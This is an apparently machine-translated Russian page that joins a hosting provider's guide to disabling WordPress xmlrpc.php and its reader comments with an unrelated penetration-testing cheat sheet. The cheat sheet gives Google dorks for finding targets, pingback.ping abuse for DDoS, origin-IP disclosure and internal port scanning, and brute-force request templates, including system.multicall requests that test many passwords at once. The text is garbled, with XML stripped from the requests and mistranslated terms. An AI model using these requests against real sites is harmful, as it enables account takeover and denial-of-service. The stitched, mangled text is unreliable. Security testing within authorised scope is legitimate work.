XMLRPC – это система, которая позволяет удаленно обновлять WordPress из других приложений. Например, система Windows Live Writer способна публиковать блоги непосредственно в WordPress благодаря xmlrpc.php. Однако раньше он был отключен по умолчанию из-за проблем с кодированием.
По сути, xmlrpc.php мог открыть сайт для различных атак и других проблем. К счастью, разработчики этого кода уже давно ужесточили его структуру, и он по-прежнему широко используется.
В этом руководстве мы покажем вам, как включать и отключать xmlrpc .php и почему важно знать разницу.
- Что такое XMLRPC.PHP и зачем он вам нужен?
- Как узнать, включен ли XMLRPC?
- Реальность XMLRPC
- Отключение XMLRPC через плагины
- Отключить XML-RPC
- Отключить XML-RPC Pingback
- Использование файла .htaccess для отключения XMLRPC
- Использование кода в плагине для конкретного сайта
- Когда мне нужно будет включить XMLRPC на моем сайте?
- Автор: Крис Расикот
- Использование xmlrpc. php во всех версиях WordPress
- Дор ks для поиска потенциальных целей
- Поиск серверов XML-RPC на WordPress:
- XML-RPC pingback-атаки
- Атаки грубой силы
- Другие ссылки:
Что такое XMLRPC.PHP и зачем он вам нужен ?
xmlrpc.php позволяет удаленно подключаться к WordPress. Без него различные инструменты и приложения для публикации просто не смогут получить доступ к сайту. Любые обновления или дополнения к веб-сайту должны быть сделаны при входе в систему непосредственно.
Хорошо
Отключив с помощью этой функции вы исключаете риск получения доступа к внешним атакам. Хотя участники этой платформы подтверждают, что программирование xmlrpc.php так же безопасно, как и остальные файлы ядра WordPress, некоторые могут чувствовать себя в большей безопасности, отключив эту возможность.
Это как иметь дом с только одна дверь. Добавление второй двери может быть более удобным, но при этом создается еще одна точка входа, которую необходимо заблокировать.
Плохие
Очевидным недостатком отказа от этой функции является то, что удаленный доступ к WordPress больше не будет возможен. Это удаляет часть функциональности и универсальности системы. Вместо автоматической публикации блогов из другого приложения через удаленный доступ, любой контент и другие изменения должны быть внесены путем входа непосредственно в WordPress.
Это может быть проблематичным для тех, кому нравится идея публикации контент прямо со своих мобильных устройств.
Как узнать, включен ли XMLRPC?
Иногда это вызывает путаницу. Помните, что по умолчанию XMLRPC уже включен. Он активен после завершения установки WordPress.
Поэтому, если вы используете какие-либо из следующих ресурсов, чтобы отключить его, просто измените настройки или сотрите код, чтобы снова включить его.
Реальность XMLRPC
По большей части xmlrpc.php действительно полезен только в том случае, если вы планируете использовать мобильные приложения или удаленные подключения для публикации контента на своем веб-сайте. Поскольку мобильное использование было настолько распространенным способом доступа в Интернет, многие люди будут использовать удаленные приложения, чтобы упростить разработку своих сайтов WordPress.
Это также одна из причин, по которой разработчики вкладывают так много усилия по устранению проблем с кодированием этой функции в прошлом.
Однако не всем понадобится эта возможность. Многие аспекты системы работают очень хорошо и просты в использовании на смартфонах или планшетах.. Это особенно верно, поскольку ядро WordPress исключительно хорошо работает в мобильной среде.
Отключение XMLRPC через плагины
Хотя многие вещи можно сделать на уровне кодирования в WordPress, иногда проще использовать правильный плагин. Сегодня мы собираемся использовать Управление XML-RPC. Этот простой плагин выполняет работу по включению и отключению XMLRPC в любое время.
Чтобы использовать этот замечательный небольшой плагин, вам необходимо установить и активировать его со страницы плагинов на панели администратора WordPress.
После установки и активации плагина в левой части панели администратора WordPress появится новая функция под названием «Настройки XML-RPC. ” Щелкните эту ссылку, чтобы открыть плагин.
Установите флажок выберите «Отключить XML-RPC», если вы хотите удалить возможности удаленного доступа WordPress. В любой момент вы можете снять этот флажок, чтобы снова включить его.
После того, как ваш выбор сделан, нажмите кнопку «Сохранить изменения» в левом нижнем углу экрана.
ПРИМЕЧАНИЕ : Управление XML-RPC также есть возможность отключать пингбеки. Вы также можете установить определенные IP-адреса, чтобы включить или отключить эту функцию. Это может быть удобно, если вы хотите, чтобы служба работала для определенных приложений или пользователей в зависимости от их IP-адреса.
Этот плагин дает вам возможность включать или отключать xmlrpc.php для всего сайта или просто несколько IP-адресов. Это хорошая функция, особенно если вы хотите заблокировать доступ определенных пользователей к XMLRPC через WordPress.
Вот еще несколько плагинов, которые могут вас заинтересовать, которые также будут включать и отключать xmlrpc.php .
Отключить XML-RPC
Плагин Disable XML-RPC – это простой способ заблокировать удаленный доступ к WordPress. Это один из самых популярных плагинов, его установили более 60 000 раз. Этот плагин помог многим людям избежать атак типа “отказ в обслуживании” через XMLRPC.
Отключить XML-RPC Pingback
Плагин Disable XML-RPC Pingback
Обе эти опции определенно являются плагинами, которые стоит добавить на ваш сайт.
Использование файла .htaccess для отключения XMLRPC
Многие люди добились значительного успеха, используя файл .htaccess для отключения xmlrpc.php. Сам код относительно прост и может быть очень полезен, если вы не хотите беспокоиться о новых плагинах.
Чтобы использовать .htaccess для отключения функции xmlrpc.php в WordPress, вам нужно перейти в корневую папку вашего веб-сайта WordPress с помощью FTP или файлового менеджера в вашей учетной записи GreenGeeks, также может быть полезно, если он у вас есть.
Найдите и отредактируйте файл .htaccess. В некоторых версиях cPanel этот файл будет скрыт. Вам нужно будет настроить cPanel для просмотра скрытых файлов для доступа к .htaccess. Для этого нажмите «Настройки» в правом верхнем углу диспетчера файлов и установите флажок «Показать скрытые файлы». Нажмите “Сохранить”, и вы увидите свой файл .htaccess.
Откройте файл .htaccess и добавьте следующий код:
# Блокировать запросы xmlrpc.php WordPress
запретить заказ, разрешить
запретить из всех
разрешить из 123.123.123.123
Теперь «Сохраните» файл. Это так просто. Теперь все удаленное использование XMLRPC.PHP будет запрещено.
Использование кода в плагине для конкретного сайта
Плагин для конкретного сайта может быть чрезвычайно полезен, если вы хотите для добавления функциональности вашему сайту без использования стороннего программного обеспечения. Это отличный способ добавить фрагменты, которые вы найдете в Интернете, для использования на своем сайте, не редактируя шаблон темы или файл functions.php.
В свой плагин для конкретного сайта вы можете просто добавить следующий код для отключения функции удаленного доступа:
add_filter ('xmlrpc_enabled', '__return_false');
После сохранения подключаемый модуль для конкретного сайта запустит указанное выше код и отключите XMLRPC. Однако вам нужно будет удалить код, если вы захотите снова включить эту функцию.
Когда мне нужно будет включить XMLRPC на моем сайте?
Если вы используете или планируете использовать удаленную систему для публикации контента на своем сайте, вам потребуется включить эту функцию. В противном случае вы не сможете устанавливать удаленные подключения через систему. Если вы отключили эту функцию и обнаружили, что некоторые из ваших подключаемых модулей или других инструментов больше не работают, вам нужно будет повторно включить их, чтобы продолжить использование этих дополнений.
Не всем потребуется включать xmlrpc.php в WordPress для правильной работы. Фактически, многие из вас могут вообще никогда не использовать эту функцию. Если вас беспокоят дополнительные проблемы с безопасностью, в ваших интересах отключить эту функцию до тех пор, пока она вам не понадобится.
Какие инструменты вы отключили в WordPress? Какие плагины используются для кодирования на вашем веб-сайте?
Автор: Крис Расикот
Крис является менеджером по поддержке GreenGeeks и работает в компании с 2010 года. Он страстно увлечен играми, написанием сценариев и WordPress. Когда он не спит, он отрабатывает свои навыки игры на гитаре и возится с 3D-печатью.
Моя проблема в том, что я хочу иметь возможность убедиться, что XML-RPC включен, поскольку использование IFTTT требует, чтобы он включал использование wordpress в своей системе.. Есть ли плагин, который позволяет включать или выключать его?
Моя проблема, похоже, противоположная. Я пытаюсь подключить свой веб-сайт к Windows LiveWriter, и когда я пытаюсь войти в систему, он не может найти файл xmlrpc.php. Он говорит:
«Не удалось найти следующий адрес веб-сайта xmlrpc.php. Пожалуйста, проверьте URL-адрес и повторите попытку ».
Итак, я попытался найти этот файл в диспетчере файлов, но его не существует. Что мне сделать, чтобы это заработало?
Мне нужно включить его для IFTTT. Как это сделать? .Htaccess не ограничивает XML-RPC. Я установил Wordfence и Askismet. Отключают ли они XML-RPC?
XML RPC – это мусорный файл, который дает очень красивую панель инструментов для людей, взломавших тему, которую я ** купил **.
По сути, XML RPC – это удобная кушетка, которую вы даете своим хакерам взломать ваш домен. Какого черта WP поставил бы это на первое место? Существует множество безопасных бесплатных VPN-сервисов, таких как teamviewer или многие другие. Они настаивают на том, что изобрели что-то новое?
выбросить этот удобный диван из вашего сервера. Я надеюсь, что это прочитают столько же людей, сколько и многие люди.
erezT
Ребята, это может создать ошибку 503 (отказано) из файла xmlrpc.php:
https://wordpress.org/plugins/disable-xml-rpc-littlebizzy/
Может быть, это поможет кому-то другому
Привет,
У меня есть это правило в моем .htaccess для защиты xmlrpc.php.
# Это правило перенаправляет запросы/xmlrpc.php на localhost 😉
Redirect 301/xmlrpc.php http://127.0.0.1
Спасибо
erezT, несмотря на ваше догматичное и немного агрессивное мнение, никто бы не • Обычно RPC используется для целей типа «удаленный рабочий стол». RPC открывает возможность подключаться к WordPress API, например автоматически загружать медиафайлы через Zapier или IFTTT и т. д.
Давайте не будем выбрасывать ребенка вместе с водой в ванну только потому, что можно сосредоточиться на всех недостатках RPC.
Спасибо, Крис, за подробное объяснение.
Маттиас, ваше предложение о плагине littlebizzy, который выдает ошибки 503, также полезно. Я управляю почти 40 сайтами WordPress, поэтому ищу наиболее эффективный способ их реализации. Я использую ManageWP, поэтому могу централизованно установить и активировать плагин на всех сайтах одним запросом. Мне нравится, что этот плагин сразу начинает работать после активации и не требует ручной настройки.
Крис, вы спросили: «Какие инструменты вы отключили в WordPress?» У меня есть два крошечных плагина, которые я использую для временного отключения функций WP. Один скрывает ссылки редактирования сообщений, чтобы я мог просматривать страницу без беспорядка и без выхода из системы. Другой отключает блокировку записи редактирования, так что я могу провести сеанс обучения с удаленным клиентом, и мы оба можем просматривать экран редактирования. Я просто помещаю их в GitHub на случай, если они кому-то пригодятся: https://github.com/donnamcmaster/mcw-hide-edit-post-link и https://github.com/donnamcmaster/mcw-disable- редактировать-блокировать.
Вы можете вытащить код и поместить его в свой файл функций, но затем вам придется отредактировать файл, чтобы включить/выключить их. В качестве плагинов их легко включить, только когда они вам понадобятся. HTH.
XMLRPC делает сайты WordPress программируемыми. Возможность отправлять сообщения из сценария чрезвычайно полезна для управления сайтом. Идея о том, что каждый должен использовать интерактивный веб-интерфейс, в первую очередь странна. Доступность XML RPC – вот что делает WordPress стоящим.
Спасибо за обмен.
Есть идеи, можно ли подключить бесплатную учетную запись на WP.com через XMLRPC. ? Я пытался включить OnlyWire, но безуспешно. Программа предлагала изменить настройки, но нет настроек для XMLRPC через панель администратора
erezT, почему сосать абсолю? Почему вы так хотите отключить XML-RPC для НЕИЗМЕРНОГО улучшения безопасности? Зачем ограничивать возможность управления веб-сайтом WordPress только веб-браузером?
Работа с WordPress из мобильного браузера (и интерфейса с сенсорным экраном) болезненна. Опыт работы с приложением WordPress намного лучше.
Я думаю, что каждый должен самостоятельно оценить риск и принять решение. Подход «этого никогда не следует делать» несостоятельный.
Мне нужно проверить новый веб-сайт с помощью WordPress на сайте Gravatar, и когда я пытаюсь это проверить, я не могу к, это как-то связано с XML-RPC API.
Я тоже скачал плагин, но ничего не помогло.
Вы можете взглянуть к плагину REST XML-RPC Data Checker (https://wordpress.org/plugins/rest-xmlrpc-data-checker/): он позволяет расширенный контроль доступа к XML-RPC и REST API (включение также пользователем/IP /method или endopoint)
REST Api включен по умолчанию, и вы должны знать, что таким образом экземпляр WordPress потенциально может утечка данных (например, любой может легко скопировать ваше опубликованное содержимое изначально , получить список всех пользователей или другую информацию, которую вы не хотели бы публиковать).
в моем собственном блоге WordPress, единственным пользователем которого являюсь, Я просто перемещаю файл/usr/share/wordpress/xmlrpc.php, когда хочу отключить xmlrpc, и возвращаю его на место. для повторного включения. Например,
sudo mv/usr/share/wordpress/xmlrpc.php/root
sudo mv/root/xmlrpc.php/usr/share/wordpress
Пока он отключен, я не могу использовать приложение Android WordPress для просмотра комментариев, но это небольшая плата. Для крупных сайтов с большим количеством пользователей картина может быть более сложной.
Для записи, я делаю то же самое с wp-login.php, только возвращая его на место. когда я хочу войти на сайт. Опять же, подходит только для небольших сайтов с одним автором. Я задокументировал это здесь http://unixetc.co.uk/2015/02/10/speed-up-wordpress-by-renaming-wp-login-php/
Спасибо за обмен.
Получит ли моя учетная запись Google AdSense одобрение, если включен метод xmlrpc?
Использование xmlrpc. php во всех версиях WordPress
XML-RPC на WordPress – это фактически API, который позволяет разработчикам, создающим сторонние приложения и сервисы, взаимодействовать с вашим сайтом WordPress. XML-RPC API, который WordPress предоставляет несколько ключевых функций, включая:
- Публикация сообщения
- Редактирование сообщения
- Удалить сообщение.
- Загрузить новый файл (например, изображение для сообщения)
- Получить список комментариев
- Редактировать комментарии
Например, система Windows Live Writer способна публиковать блоги непосредственно в WordPress благодаря XML-RPC.
К сожалению, обычно При установке (без изменения настроек и/или конфигураций) WordPress интерфейс XML-RPC открывает два типа атак:
- пингбеки XML-RPC
- Атаки методом перебора через XML-RPC
Согласно документации WordPress (https:// codex.wordpress.org/XML-RPC_Support), функция XML-RPC включена по умолчанию, начиная с WordPress 3.5.
Обратите внимание, что в этом руководстве/шпаргалке домен «example.com» фактически является пример и может быть заменен вашей конкретной целью.
Дор ks для поиска потенциальных целей
Я хотел бы добавить, что любые незаконные действия принадлежат вам , и я не могу нести ответственность за ваши действия против уязвимой цели . Тестируйте только там, где вам это разрешено. Пойдите для публичных, известных наград за ошибки и заслужите ваше уважение в сообществе.
Как говорится, во время наград за ошибки или оценок тестирования на проникновение я должен был идентифицировать все уязвимые цели WordPress на всех поддоменах, следуя правилу *. example.com
. В этом конкретном случае я полагался на придурки Google, чтобы быстро обнаружить все потенциальные цели:
-
inurl: "/xmlrpc.php? Rsd"
+ ограничения области действия -
intitle: "WordPress" inurl: "readme.html"
+ ограничения области действия = общее обнаружение WordPress -
allinurl: "wp-content/plugins/"
+ ограничения области действия = общее обнаружение WordPress
Поиск серверов XML-RPC на WordPress:
Шаги для проверки:
- Убедитесь, что вы нацеливаетесь на сайт WordPress.
- Убедитесь, что у вас есть доступ к
xmlrpc.php
файл. Обычно он находится по адресу https://example.com/xmlrpc.php и отвечает на запрос GET следующим образом:Сервер XML-RPC принимает только запросы POST.
- Было бы бессмысленно нацеливаться на сервер XML-RPC, который отключен/жестко закодирован/подделан/не работает. Поэтому мы проверим его работоспособность, отправив следующий запрос:
Post Request:
POST/xmlrpc.php HTTP/1.1Host: example.comContent-Length: 135 xml version = "1.0" encoding = "utf-8"?> system. listMethods
Нормальный ответ должен быть:
HTTP/1.1 200 OK Дата: 1 июля 2019 г., понедельник, 17:13:30 GMTServer: ApacheStrict-Transport-Security: max-age = 63072000; includeSubdomains; preloadConnection: closeVary: Accept-EncodingReferrer-Policy: no-referrer-when-downgradeContent-Length: 4272Content-Type: text/xml; charset = UTF-8 xml version = "1.0" encoding = "UTF-8"?> system.multicall строка> system.listMethods system.getCapabilities demo.addTwoNumbers demo.sayHello pingback.extensions.getPingbacks pingback.ping mt.publishPost mt.getTrackbackPings mt.supportedTextFilters mt.supportedMethods mt.setPostCategories mt.getPostCategories mt.getRecentPostTitles mt.getCategoryList metaWeblog.getUsersBlogs metaWeblog.deletePost metaWeblog.newMediaObject metaWeblog.getCategories metaWeblog.getRecentPosts metaWeblog.getPost metaWeblog.editPost metaWeblog.newPost blogger.deletePost blogger.editPost blogger.newPost blogger.getRecentPosts blogger.getPost blogger.getUserInfo blogger.getUsersBlogs wp.restoreRevision wp. getRevisions wp.getPostTypes wp.getPostType wp .getPostFormats wp.getMediaLibrary wp.getMediaItem wp.getCommentStatusList wp.newComment wp.editComment wp.deleteComment wp.getComments wp.getComment wp.setOptions wp.getOptions wp.getPageTemplates wp.getPageStatusList wp.getPostStatusList wp.getCommentCount wp.deleteFile wp.uploadFile wp.suggestCategories g> wp.deleteCategory wp.newCategory wp.getTags строка> wp.getCategories wp.getAuthors wp.getPageList wp.editPage wp.deletePage wp. newPage wp.getPages wp.getPage wp .editProfile wp.getProfile wp.getUsers wp.getUser wp.getTaxonomies wp.getTaxonomy wp.getTerms wp.getTerm wp.deleteTerm wp.editTerm wp. newTerm wp.getPosts wp.getPost wp .deletePost wp.editPost wp.newPost wp.getUsersBlogs
Обратите внимание, что в отсутствие ответа, представленного выше, довольно бессмысленно продолжать фактическое тестирование двух уязвимостей. Ответ может отличаться в зависимости от настроек и конфигураций установки WordPress.
- Если есть вывод для
system.listMethods
, то рекомендуется использовать хотя бы самый простой метод под названием
Request:
POST/xmlrpc.php HTTP/1.1Host: example.comContent-Length: 130 xml version = "1.0" encoding = "utf- 8 "?> demo.sayHello
Ответ :
HTTP/1.1 200 OK Дата: 1 июля 2019 г., понедельник, 17:19:05 GMTServer: ApacheStrict-Transport-Security: макс. -age = 63072000; includeSubdomains; preloadConnection: closeVary: Accept-EncodingReferrer-Policy: no-referrer-when-downgradeContent-Length: 181Content-Type: text/xml; charset = UTF-8 xml version = "1.0" encoding = "UTF-8"?> Привет!
XML-RPC pingback-атаки
В этом случае злоумышленник может использовать стандартный XML-RPC API для выполнения обратных вызовов для следующих целей:
- Распределенное отклонение -of-service (DDoS) атаки – злоумышленник выполняет метод pingback.ping из нескольких затронутых установок WordPress против одной незащищенной цели (уровень ботнета).
- Обход защиты Cloudflare – злоумышленник выполняет метод pingback.ping из единственной уязвимой установки WordPress, защищенной CloudFlare, до злоумышленника. -контролируемый общедоступный хост (например, VPS) для раскрытия общедоступного IP-адреса цели, таким образом обходя любую защиту уровня DNS.
- XSPA (Атака межсайтового порта) – злоумышленник может выполнить метод pingback.ping из одной затронутой установки WordPress на тот же хост (или другой внутренний/частный хост ) на разных портах. Открытый порт или внутренний хост можно определить, наблюдая за разницей во времени ответа и/или просмотрев ответ на запрос.
Ниже представлен простой пример запроса. используя предоставленный PostBin URL в качестве обратного вызова:
POST/xmlrpc.php HTTP/1.1Host: example.comContent-Length: 303 pingback.ping https://postb.in/1562017983221 -4377199190203 https://example.com/
Пример ответа:
HTTP /1.1 200 OK Дата: пн, 01 июл 2019 21:53:56 GMTServer: ApacheStrict-Transport-Security: max-age = 63072000; includeSubdomains; preloadConnection: closeVary: Accept-EncodingReferrer-Policy: no-referrer-when-downgradeContent-Length: 370Content-Type: text/xml; charset = UTF-8 xml version = "1.0" encoding = "UTF-8"?> faultCode 0 faultString
Вывод PostBin:
Атаки грубой силы
Иногда единственный способ обойти ограничение или блокировку запросов с помощью грубой силы Атака на сайт WordPress заключается в использовании слишком забытого XML-RPC API .
Следующий запрос представляет собой наиболее распространенную атаку методом грубой силы:
POST/xmlrpc.php HTTP/1.1Host: example.comContent-Length: 235 xml version = "1.0" encoding = "UTF-8 "?> wp.getUsersBlogs { {ваше имя пользователя } } { {ваш пароль } } de>
Вышеупомянутый запрос может быть отправлен в Burp Intruder (например) с разными наборами учетных данных. Обратите внимание, что даже если вы угадаете пароль или нет, код ответа всегда будет 200 . Я настоятельно рекомендую искать ошибки/сообщения в теле ответа.
Обеспокоены отправкой большого количества запросов против цели? – Не беспокойтесь. WordPress XML-RPC по умолчанию позволяет злоумышленнику выполнить один запрос и перебрать сотни паролей.
Для следующего запроса требуются разрешения для обеих систем . методы multicall и wp.getUsersBlogs :
POST/xmlrpc.php HTTP /1.1Host: example.comContent-Length: 1560 Xml version = "1.0"?> system.multicall methodName wp.getUsersBlogs params { {Ваше имя пользователя } } { { Ваш пароль } } methodNamewp.getUsersBlogs params { {Ваше имя пользователя } } { {Ваш пароль } } methodName wp.getUsersBlogs params { {Ваше имя пользователя } } { {Ваш пароль } } methodNamewp.getUsersBlogsparams { {Ваше имя пользователя } } { {Ваш пароль } } строка>
Ответ будет выглядеть так:
HTTP/1. 1200 OK Дата: пн, 01 июл 2019 23:02:55 GMTServer: ApacheStrict-Transport-Security: max-age = 63072000; includeSubdomains; preloadConnection: closeVary: Accept-EncodingReferrer-Policy: no-referrer-when-downgradeContent-Length: 1043Content-Type: text/xml; charset = UTF-8 xml version = "1.0" encoding = "UTF-8"?> faultCode 403 faultString Неверное имя пользователя или пароль. строка> faultCode403 faultString Неверное имя пользователя или пароль. faultCode403 faultString Неверно имя пользователя или пароль. faultCode 403 faultString Неверное имя пользователя или пароль. значение>
В приведенном выше примере я протестировал 4 разных набора учетных данных с помощью одного запроса. Вам просто нужно заменить {{Ваше имя пользователя}} и {{Ваш пароль}} своими собственными комбинациями.
Вот и все, прокомментируйте, если я что-то пропустил, и удачной охоты!
Другие ссылки:
- https://www.wordfence.com/ блог/2015/10/should-you-disable-xml-rpc-on-wordpress/
- https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php- общие-уязвимости-как-их-использовать-d8d3c8600b32
- https://github.com/1N3/Wordpress-XMLRPC-Brute-Force-Exploit/blob/master/wordpress-xmlrpc- brute-v2.py